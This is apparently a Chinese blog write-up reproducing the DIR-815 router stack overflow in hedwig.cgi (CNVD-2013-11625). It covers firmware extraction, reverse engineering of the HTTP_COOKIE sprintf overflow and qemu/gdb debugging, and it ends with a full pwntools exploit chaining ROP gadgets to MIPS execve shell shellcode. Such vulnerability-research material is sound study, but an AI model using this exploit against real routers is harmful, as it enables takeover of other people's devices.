DIR-815 栈溢出漏洞(CNVD-2013-11625)复现

DIR-815 栈溢出漏洞(CNVD-2013-11625)复现

第一次真正的接触iot实战,还是有一点兴奋的,这次复现的漏洞是 DIR-815 栈溢出漏洞 。

环境配置

binwalk

1
sudo apt install binwalk

安装完 binwalk 后还需要安装 sasquatch 依赖,这是 binwalk 用于解压 非标准SquashFS文件系统 的关键,如果我们不安装这个依赖的话,我们后面分离固件得到的 squashfs-root 是空的。

安装方法如下:

1
2
3
4
5
6
# 安装依赖库(关键步骤,否则编译会失败) 
sudo apt-get install build-essential zlib1g-dev liblzma-dev liblzo2-dev
# 克隆仓库并编译
git clone https://github.com/devttys0/sasquatch.git
cd sasquatch
./build.sh

这个时候如果触发了一个报错:

1
2
3
4
5
6
7
8
9
unsquashfs.c: In function ‘read_super’:
unsquashfs.c:1835:5: error: this ‘if’ clause does not guard... [-Werror=misleading-indentation]
1835 | if(swap)
| ^~
unsquashfs.c:1841:9: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if’
1841 | read_fs_bytes(fd, SQUASHFS_START, sizeof(struct squashfs_super_block),
| ^~~~~~~~~~~~~
cc1: all warnings being treated as errors
make: *** [<builtin>: unsquashfs.o] Error 1

那需要我们执行这个:

1
2
3
4
git clone --quiet --depth 1 --branch "master" https://github.com/devttys0/sasquatch
cd sasquatch
wget https://github.com/devttys0/sasquatch/pull/51.patch && patch -p1 <51.patch
sudo ./build.sh

如果还出现报错的话,我们需要修改 build.sh 文件

1
2
3
4
5
6
7
8
9
#!/bin/bash
# ...(前面部分不变)

# Patch, build, and install the source
cd squashfs4.3
patch -p0 < ../patches/patch0.txt
cd squashfs-tools
export CFLAGS="-Wno-error=dangling-pointer" # 关键修改
make && $SUDO make install

然后再次运行

1
2
3
4
git clone --quiet --depth 1 --branch "master" https://github.com/devttys0/sasquatch
cd sasquatch
wget https://github.com/devttys0/sasquatch/pull/51.patch && patch -p1 <51.patch
sudo ./build.sh

分离固件

1
binwalk -Me DIR-815.bin --run-as=root

这个时候会出现一个 .extracted 的提取文件夹,里面就是我们分离出来的文件,进入 squashfs-root

漏洞出现在 hedwig.cgi ,我们可以使用 find 指令进行搜查

1
find ./ -name hedwig.cgi

得到 hedwig.cgi 的路径:./htdocs/web/hedwig.cgi

1
2
3
~/PWN/iot/CNVD-2013-11625/_DIR-815.bin.extracted/squashfs-root
❯ find ./ -name hedwig.cgi
./htdocs/web/hedwig.cgi

image-20250925113524812

根据路径找到 hedwig.cgi 输入 ls -l 查看 ,发现它其实是一个软链接,链接的是 ../htdocs/cgibin 这个程序,但是不知道为什么我这里没有显示文件路径,正常情况应该是这样的:

image-20250925113724670

进入 htdocs 文件夹:

1
2
3
4
~/PWN/iot/CNVD-2013-11625/_DIR-815.bin.extracted/squashfs-root/htdocs
❯ ls
HNAP1 neap smart404 upnpdevdesc web widget
cgibin phplib upnp upnpinc webinc

找到这个 cgibin ,我们先初步对它进行一个简单的分析:

image-20250924084945177

可以看到程序是 mips 架构,几乎没有开启任何保护 ,拖入 IDA 进行一个进一步分析:

image-20250924085221325

在 main 函数找到 hedwig.cgi 的入口 ,双击进入:

image-20250925113938998

注意这种取环境变量REQUEST_METHOD,后面有检查,必须要是 POST 请求才可以,环境变量我们可以自行设置。

然后就会进入 cgibin_parse_request 函数:

image-20250925114351079

这个函数有一些环境变量也需要设置

接着我们进入 sess_get_uid 函数:

image-20250929100744296

对环境变量 HTTP_COOKIE 进行获取 ,并将指向该环境变量的值的指针存储到 v3 变量 ,而后令 v5 等于 v3 ,

然后又对 v5 解引用,也就是说环境变量的第一个字符最终被存储到了 v7 。

接着就是一系列的分离操作,将环境变量HTTP_COOKIE等号之前的值存储到了 v2 ,将等号之后的值存储到 v4,需要注意的是对 v2 有一个检查,我们需要把它赋值为 “uid”。

image-20250929110651587

漏洞点就存在与这里:

string = sobj_get_string((int)v4) 此时string就是我们环境变量HTTP_COOKIE的等号后面的数据

sprintf(v27, "%s/%s/postxml", "/runtime/session", string) 由于对string的长度没有检查,所以这里存在一个典型的栈溢出漏洞

image-20250929110840557

我们往下看的时候还发现了 sprintf 函数,依旧存在这个漏洞,并且是一模一样的 ,把我们HTTP_COOKIE的等号后面的数据放到栈上 ,依旧是 v27 ,所以相当于是覆盖了上面的 sprintf 放在 v27 的数据 。

但是进入第二个 sprintf 的话需要满足两个条件,第一个就是必须存在 /var/tmp/tmp.xml 文件 ,第二个就是 haystack 必须是非 0 。

满足第一个条件还好,但是满足第二个条件可能要对程序进行比较复杂的分析,还要经过一系列调试判断。

image-20250930175103702

我参考了 **winmt 师傅 **的文章,发现他对走到第二个 sprintf 函数进行了一个深入研究 ,但是我一开始复现的时候比较懒,发现就算不经过第二个 sprintf 函数也会溢出到返回地址,也就是说我们只用第一个 sprintf 函数就可以控制程序的执行流程了 。

image-20250930180047864原因在于 "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>" 报错之后并没有直接 exit 退出程序,而是继续对 v3 和 v4 进行一个 del ,v4 虽然是我们之前 HTTP_COOKIE 环境变量里面的数据,但是这个数据已经被我们通过 sprintf 复制到栈上了 。(也可能是我哪里不知道或者弄错了/(ㄒoㄒ)/~~)

我们先使用 cyclic 模块创造 2000 个字符到 payload 文件

1
2
~/PWN/iot/CNVD-2013-11625/_DIR-815.bin.extracted/squashfs-root/htdocs
❯ cyclic 2000 > payload

然后创建 start.sh 文件 ,注意一下文件路径之类的

1
2
3
4
5
6
7
8
# start.sh
#!/bin/bash
# 定义输入数据和相关变量
INPUT="SPACE=Pwner" # 发送的数据内容
LEN=$(echo -n "$INPUT" | wc -c) # 计算内容长度
COOKIE="uid=`cat payload`"
echo $INPUT | qemu-mipsel -L ../ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$COOKIE -g 1234 ./cgibin
#-0 参数用于强制设置程序的 argv[0] 值, 后面的 -E 是设置环境变量了 -g 指定端口 echo 可以实现post的功能

然后创建一个 gdb 文件 ,写入以下内容

1
2
3
4
5
6
set arch mips 
set follow-fork-mode child
set detach-on-fork off
symbol-file ./cgibin
target remote localhost:1234
b *0x00409680

我们需要开启两个终端 ,一个执行 start.sh,另外一个执行 gdb-multiarch

image-20250930190944660

计算可以得到偏移

这里我们可以选择把 shellcode 写到栈上 ,然后跳转过去执行 。

但是要注意缓存不一致性的问题:

指的是指令缓存区(Instruction Cache)和数据缓存区(Data Cache)两者的同步需要一个时间来同步,常见的就是,比如我们将shellcode写入栈上,此时这块区域还属于数据缓存区,如果我们此时像x86_64架构一样,直接跳转过去执行,就会出现问题,因此,我们需要调用sleep函数,先停顿一段时间,给它时间从数据缓存区转成指令缓存区,然后再跳转过去,才能成功执行。

我们还需要得到 libc 的基地址 ,由于 qemu 用户态的libc地址是不会改变的 ,所以我们可以定位到 memset 函数上来

image-20250930194333120

image-20250930194405532

我们先找到它在libc中的偏移 ,然后我们再利用 gdb-multiarch 调试 ,找到 memset 的地址

image-20250930194527575

计算就可以得到 libc 的基地址了 ,每一个人的 libc 地址都不一样 ,所以这里需要自己去算一下

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x3ff38000 # 这里的libc_base每个人都是不一样的需要修改

payload = b'a'*1007
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode

payload = b"uid=" + payload
post_content = "XiDP=Pwner"
p = process(b"""
qemu-mipsel -L ../ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
./cgibin
""", shell = True)
p.send(post_content)
p.interactive()

image-20250930195147922

参考链接:

[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪论坛-安全社区|非营利性质技术交流社区

DIR-815 栈溢出漏洞(CNVD-2013-11625)复现-先知社区